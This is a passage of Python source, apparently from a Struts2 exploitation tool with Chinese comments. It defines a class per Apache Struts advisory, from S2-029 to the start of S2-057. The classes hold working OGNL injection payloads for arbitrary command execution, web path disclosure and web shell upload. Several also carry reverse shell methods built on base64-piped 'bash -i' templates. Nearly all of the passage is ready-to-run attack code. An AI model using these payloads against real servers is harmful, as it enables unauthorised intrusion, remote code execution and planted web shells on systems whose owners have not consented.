= parse_headers(headers) 1019 | self.headers['Host'] = self.url.split("/")[2] 1020 | if not data: 1021 | self.data = "message={exp}" 1022 | else: 1023 | self.data = data 1024 | self.encoding = encoding 1025 | self.is_vul = False 1026 | if 'Content-Type' not in self.headers: 1027 | self.headers['Content-Type'] = 'application/x-www-form-urlencoded' 1028 | 1029 | def check(self): 1030 | """检测漏洞是否存在""" 1031 | html = echo_check(self) 1032 | if str(html).startswith("ERROR:"): 1033 | return html 1034 | if html: 1035 | self.is_vul = True 1036 | return 'S2-029' 1037 | return self.is_vul 1038 | 1039 | def exec_cmd(self, cmd): 1040 | """执行命令""" 1041 | data = self.data.format(exp=self.exec_payload.format(cmd=quote(cmd))) 1042 | html = post(self.url, data, self.headers, self.encoding) 1043 | return html 1044 | 1045 | def reverse_shell(self, ip, port): 1046 | """反弹shell""" 1047 | html = reverse_shell(self, ip, port) 1048 | return html 1049 | 1050 | def reverse_shell_win(self, ip, port): 1051 | """windows 反弹shell""" 1052 | html = reverse_shell_win(self, ip, port, "post") 1053 | return html 1054 | 1055 | 1056 | class S2_032: 1057 | """S2-032漏洞检测利用类""" 1058 | info = "[+] S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹Windows,Linux shell" 1059 | check_poc = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086" 1060 | web_path = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding={encoding}" 1061 | exec_payload = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding={encoding}&cmd={cmd}" 1062 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1063 | 1064 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1065 | self.url = url 1066 | self.headers = parse_headers(headers) 1067 | self.headers['Host'] = self.url.split("/")[2] 1068 | self.encoding = encoding 1069 | self.is_vul = False 1070 | 1071 | def check(self): 1072 | """选择可以利用成功的payload""" 1073 | html = get(self.url + '?' + self.check_poc, self.headers, self.encoding) 1074 | if html.startswith("ERROR:"): 1075 | return html 1076 | elif html == "1008660253718": 1077 | self.is_vul = True 1078 | return 'S2-032' 1079 | html = echo_check(self) 1080 | if str(html).startswith("ERROR:"): 1081 | return html 1082 | if html: 1083 | self.is_vul = True 1084 | return 'S2-032' 1085 | return self.is_vul 1086 | 1087 | def get_path(self): 1088 | """获取web目录""" 1089 | html = get(self.url + '?' + self.web_path.format(encoding=self.encoding), self.headers, self.encoding) 1090 | return html 1091 | 1092 | def exec_cmd(self, cmd): 1093 | """执行命令""" 1094 | payload = self.exec_payload.format(cmd=quote(cmd), encoding=self.encoding) 1095 | html = get_stream(self.url + '?' + payload, self.headers, self.encoding) 1096 | return html 1097 | 1098 | def reverse_shell(self, ip, port): 1099 | """反弹shell""" 1100 | html = reverse_shell(self, ip, port) 1101 | return html 1102 | 1103 | def reverse_shell_win(self, ip, port): 1104 | """windows 反弹shell""" 1105 | html = reverse_shell_win(self, ip, port,"get") 1106 | return html 1107 | 1108 | 1109 | class S2_033: 1110 | """S2-033漏洞检测利用类""" 1111 | info = "[+] S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持任意命令执行和反弹Linux shell" 1112 | check_poc = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]%2b602%2b53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086" 1113 | exec_payload = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command={cmd}" 1114 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1115 | 1116 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1117 | if url.endswith('/'): 1118 | self.url = url 1119 | else: 1120 | self.url = url + '/' 1121 | self.headers = parse_headers(headers) 1122 | self.headers['Host'] = self.url.split("/")[2] 1123 | self.encoding = encoding 1124 | self.is_vul = False 1125 | 1126 | def check(self): 1127 | """选择可以利用成功的payload""" 1128 | html = get(self.url + self.check_poc, self.headers, self.encoding) 1129 | if html.startswith("ERROR:"): 1130 | return html 1131 | elif html == "1008660253718": 1132 | self.is_vul = True 1133 | return 'S2-033' 1134 | html = echo_check(self) 1135 | if str(html).startswith("ERROR:"): 1136 | return html 1137 | if html: 1138 | self.is_vul = True 1139 | return 'S2-033' 1140 | return self.is_vul 1141 | 1142 | def exec_cmd(self, cmd): 1143 | """执行命令""" 1144 | payload = self.exec_payload.format(cmd=quote(cmd)) 1145 | html = get_stream(self.url + payload, self.headers, self.encoding) 1146 | return html 1147 | 1148 | def reverse_shell(self, ip, port): 1149 | """反弹shell""" 1150 | html = reverse_shell(self, ip, port) 1151 | return html 1152 | 1153 | def reverse_shell_win(self, ip, port): 1154 | """windows 反弹shell""" 1155 | html = reverse_shell_win(self, ip, port,"get") 1156 | return html 1157 | 1158 | 1159 | class S2_037: 1160 | """S2-037漏洞检测利用类""" 1161 | info = "[+] S2-037:影响版本Struts 2.3.20-2.3.28.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹Linux shell" 1162 | web_path = "%28%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29%3f(%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23wr.println(%23req.getRealPath(%23parameters.pp%5B0%5D)),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&pp=%2f" 1163 | exec_payload = "(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command={cmd}" 1164 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1165 | 1166 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1167 | if url.endswith('/'): 1168 | self.url = url 1169 | else: 1170 | self.url = url + '/' 1171 | self.headers = parse_headers(headers) 1172 | self.headers['Host'] = self.url.split("/")[2] 1173 | self.encoding = encoding 1174 | self.is_vul = False 1175 | 1176 | def check(self): 1177 | """选择可以利用成功的payload""" 1178 | html = echo_check(self) 1179 | if str(html).startswith("ERROR:"): 1180 | return html 1181 | if html: 1182 | self.is_vul = True 1183 | return 'S2-037' 1184 | return self.is_vul 1185 | 1186 | def get_path(self): 1187 | """获取web目录""" 1188 | html = get(self.url + self.web_path, self.headers, self.encoding) 1189 | return html 1190 | 1191 | def exec_cmd(self, cmd): 1192 | """执行命令""" 1193 | payload = self.exec_payload.format(cmd=quote(cmd)) 1194 | html = get_stream(self.url + payload, self.headers, self.encoding) 1195 | return html 1196 | 1197 | def reverse_shell(self, ip, port): 1198 | """反弹shell""" 1199 | html = reverse_shell(self, ip, port) 1200 | return html 1201 | 1202 | def reverse_shell_win(self, ip, port): 1203 | """windows 反弹shell""" 1204 | html = reverse_shell_win(self, ip, port,"get") 1205 | return html 1206 | 1207 | 1208 | class S2_045: 1209 | """S2-045漏洞检测利用类""" 1210 | info = "[+] S2-045:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹Linux shell和文件上传" 1211 | web_path = r"""%{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}""" 1212 | exec_payload = r"""%{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='CMD').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}""" 1213 | upload_payload = r"""%{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#fos= new java.io.FileOutputStream(#req.getParameter("f")),#fos.write(#req.getParameter("t").getBytes()),#fos.close()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println("OK"),(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())))}""" 1214 | shell = "{echo,SHELL}|{base64,-d}|{bash,-i}" 1215 | payload = "%{(#_='multipart/form-data')." 1216 | payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." 1217 | payload += "(#_memberAccess?" 1218 | payload += "(#_memberAccess=#dm):" 1219 | payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." 1220 | payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." 1221 | payload += "(#ognlUtil.getExcludedPackageNames().clear())." 1222 | payload += "(#ognlUtil.getExcludedClasses().clear())." 1223 | payload += "(#context.setMemberAccess(#dm))))." 1224 | payload += "(#cmd='CMD')." 1225 | payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." 1226 | payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." 1227 | payload += "(#p=new java.lang.ProcessBuilder(#cmds))." 1228 | payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." 1229 | payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." 1230 | payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." 1231 | payload += "(#ros.flush())}" 1232 | 1233 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1234 | self.url = url 1235 | self.headers = parse_headers(headers) 1236 | self.headers['Host'] = self.url.split("/")[2] 1237 | self.encoding = encoding 1238 | self.data = data 1239 | self.is_vul = False 1240 | 1241 | def check(self): 1242 | """检测漏洞是否存在""" 1243 | html = echo_check(self) 1244 | if str(html).startswith("ERROR:"): 1245 | return html 1246 | if html: 1247 | self.is_vul = True 1248 | return 'S2-045' 1249 | return self.is_vul 1250 | 1251 | def get_path(self): 1252 | """获取web目录""" 1253 | self.headers['Content-Type'] = self.web_path 1254 | html = post(self.url, self.data, self.headers, self.encoding) 1255 | return html 1256 | 1257 | def exec_cmd(self, cmd): 1258 | """执行命令""" 1259 | self.headers['Content-Type'] = self.exec_payload.replace('CMD', cmd) 1260 | self.headers['Content-Type'] = self.payload.replace('CMD', cmd) 1261 | html = post_stream(self.url, self.data, self.headers, self.encoding) 1262 | return html 1263 | 1264 | def reverse_shell(self, ip, port): 1265 | """反弹shell""" 1266 | html = reverse_shell(self, ip, port) 1267 | return html 1268 | 1269 | def reverse_shell_win(self, ip, port): 1270 | """windows 反弹shell""" 1271 | html = reverse_shell_win(self, ip, port,"post") 1272 | return html 1273 | 1274 | def upload_shell(self, upload_path, shell_path): 1275 | shell = read_file(shell_path, self.encoding) 1276 | data = "?t={shell}&f={path}".format(shell=quote(shell), path=upload_path) 1277 | self.headers['Content-Type'] = self.upload_payload 1278 | html = post(self.url + data, self.data, self.headers, self.encoding) 1279 | if html == 'OK': 1280 | return True 1281 | else: 1282 | return False 1283 | 1284 | 1285 | class S2_046: 1286 | """S2-046漏洞检测利用类""" 1287 | info = "[+] S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹Linux shell和文件上传" 1288 | web_path = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=ENCODING')).(#res.getWriter().print('')).(#res.getWriter().print('')).(#res.getWriter().print(#req.getSession().getServletContext().getRealPath('/'))).(#res.getWriter().flush()).(#res.getWriter().close())}\0b" 1289 | check_poc = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=ENCODING')).(#res.getWriter().print('security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}\0b" 1290 | exec_payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=ENCODING')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('CMD'.toString().split('\\\\s'))).start().getInputStream()).useDelimiter('\\\\AAAA')).(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}\0b" 1291 | upload_paylaod = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=ENCODING')).(#filecontent='SHELL').(new java.io.BufferedWriter(new java.io.FileWriter('PATH')).append(new java.net.URLDecoder().decode(#filecontent,'ENCODING')).close()).(#res.getWriter().print('O')).(#res.getWriter().print('K')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).(#res.getWriter().close())}\0b" 1292 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1293 | 1294 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1295 | self.url = url 1296 | self.headers = parse_headers(headers) 1297 | self.headers['Host'] = self.url.split("/")[2] 1298 | self.encoding = encoding 1299 | self.is_vul = False 1300 | 1301 | def check(self): 1302 | """检测漏洞是否存在""" 1303 | files = {'test': (self.check_poc.replace('ENCODING', self.encoding), b'x', 'text/plain')} 1304 | html = post(self.url, files=files, encoding=self.encoding) 1305 | if html.startswith("ERROR:"): 1306 | return html 1307 | elif html == 'security_check': 1308 | self.is_vul = True 1309 | return 'S2-046' 1310 | return self.is_vul 1311 | 1312 | def get_path(self): 1313 | """获取web目录""" 1314 | files = {'test': (self.web_path.replace('ENCODING', self.encoding), b'x', 'text/plain')} 1315 | html = post(self.url, files=files, encoding=self.encoding) 1316 | return html 1317 | 1318 | def exec_cmd(self, cmd): 1319 | """执行命令""" 1320 | paylaod = self.exec_payload.replace('CMD', cmd).replace('ENCODING', self.encoding) 1321 | html = post_file(self.url, paylaod, self.headers, self.encoding) 1322 | return html 1323 | 1324 | def reverse_shell(self, ip, port): 1325 | """反弹shell""" 1326 | html = reverse_shell(self, ip, port) 1327 | return html 1328 | 1329 | def reverse_shell_win(self, ip, port): 1330 | """windows 反弹shell""" 1331 | html = reverse_shell_win(self, ip, port,"post") 1332 | return html 1333 | 1334 | def upload_shell(self, upload_path, shell_path): 1335 | shell = read_file(shell_path, self.encoding) 1336 | files = {'test': ( 1337 | self.upload_paylaod.replace('SHELL', quote(shell)).replace('PATH', upload_path).replace('ENCODING', 1338 | self.encoding), 1339 | b'x', 1340 | 'text/plain')} 1341 | html = post(self.url, files=files, encoding=self.encoding) 1342 | if html == 'OK': 1343 | return True 1344 | else: 1345 | return False 1346 | 1347 | 1348 | class S2_048: 1349 | """S2-048漏洞检测利用类""" 1350 | info = "[+] S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹Linux shell" 1351 | check_poc = "%24%7B{num1}%2B{num2}%7D" 1352 | exec_payload = "%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream())).(%23q)%7D" 1353 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1354 | 1355 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1356 | self.url = url 1357 | if not data: 1358 | self.data = "username=test&password={exp}" 1359 | else: 1360 | self.data = data 1361 | self.headers = parse_headers(headers) 1362 | self.headers['Host'] = self.url.split("/")[2] 1363 | self.encoding = encoding 1364 | self.is_vul = False 1365 | if 'Content-Type' not in self.headers: 1366 | self.headers['Content-Type'] = 'application/x-www-form-urlencoded' 1367 | 1368 | def check(self): 1369 | """检测漏洞是否存在""" 1370 | num1 = random.randint(10000, 100000) 1371 | num2 = random.randint(10000, 100000) 1372 | poc = self.check_poc.format(num1=num1, num2=num2) 1373 | data = self.data.format(exp=poc) 1374 | html = post_stream(self.url, data, self.headers, self.encoding) 1375 | nn = str(num1 + num2) 1376 | if html.startswith("ERROR:"): 1377 | return html 1378 | elif nn in html: 1379 | self.is_vul = True 1380 | return 'S2-048' 1381 | html = echo_check(self) 1382 | if str(html).startswith("ERROR:"): 1383 | return html 1384 | if html: 1385 | self.is_vul = True 1386 | return 'S2-048' 1387 | return self.is_vul 1388 | 1389 | def exec_cmd(self, cmd): 1390 | """执行命令""" 1391 | data = self.data.format(exp=self.exec_payload.format(cmd=quote(cmd))) 1392 | html = post(self.url, data, self.headers, self.encoding) 1393 | return html 1394 | 1395 | def reverse_shell(self, ip, port): 1396 | """反弹shell""" 1397 | html = reverse_shell(self, ip, port) 1398 | return html 1399 | 1400 | def reverse_shell_win(self, ip, port): 1401 | """windows 反弹shell""" 1402 | html = reverse_shell_win(self, ip, port,"post") 1403 | return html 1404 | 1405 | 1406 | class S2_052: 1407 | """S2-052漏洞检测利用类""" 1408 | info = "[+] S2-052:影响版本Struts 2.1.2-2.3.33,2.5-2.5.12; POST请求发送数据,不需要参数; 支持任意命令执行(无回显)和反弹Linux shell,不支持检测该漏洞是否存在" 1409 | exec_payload = """ 1410 | 1411 | 1412 | 0 1413 | 1414 | 1415 | 1416 | 1417 | 1418 | false 1419 | 0 1420 | 1421 | 1422 | 1423 | 1424 | 1425 | {cmd} 1426 | 1427 | false 1428 | 1429 | 1430 | 1431 | 1432 | java.lang.ProcessBuilder 1433 | start 1434 | 1435 | 1436 | foo 1437 | 1438 | foo 1439 | 1440 | 1441 | 1442 | 1443 | 1444 | false 1445 | 0 1446 | 0 1447 | false 1448 | 1449 | false 1450 | 1451 | 1452 | 1453 | 0 1454 | 1455 | 1456 | 1457 | 1458 | 1459 | 1460 | 1461 | 1462 | """ 1463 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1464 | 1465 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1466 | self.url = url 1467 | self.headers = parse_headers(headers) 1468 | self.encoding = encoding 1469 | self.is_vul = False 1470 | if 'Content-Type' not in self.headers: 1471 | self.headers['Content-Type'] = 'application/xml' 1472 | 1473 | def exec_cmd(self, cmd): 1474 | """执行命令""" 1475 | cmd = parse_cmd(cmd, type='xml') 1476 | data = self.exec_payload.format(cmd=cmd) 1477 | html = post(self.url, data, self.headers, self.encoding) 1478 | return html 1479 | 1480 | def reverse_shell(self, ip, port): 1481 | """反弹shell""" 1482 | html = reverse_shell(self, ip, port) 1483 | return html 1484 | 1485 | def reverse_shell_win(self, ip, port): 1486 | """windows 反弹shell""" 1487 | html = reverse_shell_win(self, ip, port,"post") 1488 | return html 1489 | 1490 | 1491 | class S2_053: 1492 | """S2-053漏洞检测利用类""" 1493 | info = "[+] S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹Linux shell" 1494 | check_poc = "%25%7B{num1}%2B{num2}%7D" 1495 | exec_payload = "%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3D'{cmd}').(%23iswin%3D(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3D(%23iswin%3F%7B'cmd.exe'%2C'%2Fc'%2C%23cmd%7D%3A%7B'%2Fbin%2Fbash'%2C'-c'%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%40org.apache.commons.io.IOUtils%40toString(%23process.getInputStream()))%7D%0A" 1496 | shell = "{echo,SHELL}|{base64,-d}|{bash,-i}" 1497 | 1498 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1499 | self.url = url 1500 | if not data: 1501 | self.data = "username=test&password={exp}" 1502 | else: 1503 | self.data = data 1504 | self.headers = parse_headers(headers) 1505 | self.headers['Host'] = self.url.split("/")[2] 1506 | self.encoding = encoding 1507 | self.is_vul = False 1508 | if 'Content-Type' not in self.headers: 1509 | self.headers['Content-Type'] = 'application/x-www-form-urlencoded' 1510 | 1511 | def check(self): 1512 | """检测漏洞是否存在""" 1513 | num1 = random.randint(10000, 100000) 1514 | num2 = random.randint(10000, 100000) 1515 | poc = self.check_poc.format(num1=num1, num2=num2) 1516 | data = self.data.format(exp=poc) 1517 | html = post_stream(self.url, data, self.headers, self.encoding) 1518 | nn = str(num1 + num2) 1519 | if html.startswith("ERROR:"): 1520 | return html 1521 | elif nn in html: 1522 | self.is_vul = True 1523 | return 'S2-053' 1524 | html = echo_check(self) 1525 | if str(html).startswith("ERROR:"): 1526 | return html 1527 | if html: 1528 | self.is_vul = True 1529 | return 'S2-053' 1530 | return self.is_vul 1531 | 1532 | def exec_cmd(self, cmd): 1533 | """执行命令""" 1534 | data = self.data.format(exp=self.exec_payload.format(cmd=quote(cmd))) 1535 | html = post(self.url, data, self.headers, self.encoding) 1536 | return html 1537 | 1538 | def reverse_shell(self, ip, port): 1539 | """反弹shell""" 1540 | html = reverse_shell(self, ip, port) 1541 | return html 1542 | 1543 | def reverse_shell_win(self, ip, port): 1544 | """windows 反弹shell""" 1545 | html = reverse_shell_win(self, ip, port,"post") 1546 | return html 1547 | 1548 | 1549 | class S2_devMode: 1550 | """S2-devMode漏洞检测利用类""" 1551 | info = "[+] S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹Linux shell" 1552 | web_path = "?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(%23context%5B%23parameters.reqobj%5B0%5D%5D.getRealPath(%23parameters.pp%5B0%5D))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=Is-Struts2-Vul-URL&pp=%2f&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest" 1553 | exec_payload = "?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command={cmd}" 1554 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1555 | 1556 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1557 | self.url = url 1558 | self.headers = parse_headers(headers) 1559 | self.headers['Host'] = self.url.split("/")[2] 1560 | self.encoding = encoding 1561 | self.is_vul = False 1562 | 1563 | def check(self): 1564 | """检测漏洞是否存在""" 1565 | html = echo_check(self) 1566 | if str(html).startswith("ERROR:"): 1567 | return html 1568 | if html: 1569 | self.is_vul = True 1570 | return 'S2-devMode' 1571 | return self.is_vul 1572 | 1573 | def get_path(self): 1574 | """获取web目录""" 1575 | html = get(self.url + self.web_path, self.headers, self.encoding) 1576 | return html 1577 | 1578 | def exec_cmd(self, cmd): 1579 | """执行命令""" 1580 | html = get_stream(self.url + self.exec_payload.format(cmd=quote(cmd)), self.headers, self.encoding) 1581 | return html 1582 | 1583 | def reverse_shell(self, ip, port): 1584 | """反弹shell""" 1585 | html = reverse_shell(self, ip, port) 1586 | return html 1587 | 1588 | def reverse_shell_win(self, ip, port): 1589 | """windows 反弹shell""" 1590 | html = reverse_shell_win(self, ip, port,"get") 1591 | return html 1592 | 1593 | 1594 | class S2_057: 1595 | """S2-057漏洞检测利用类""" 1596 | info = "[+] S2-057:影响版本Struts 2.0.4-2.3.34, 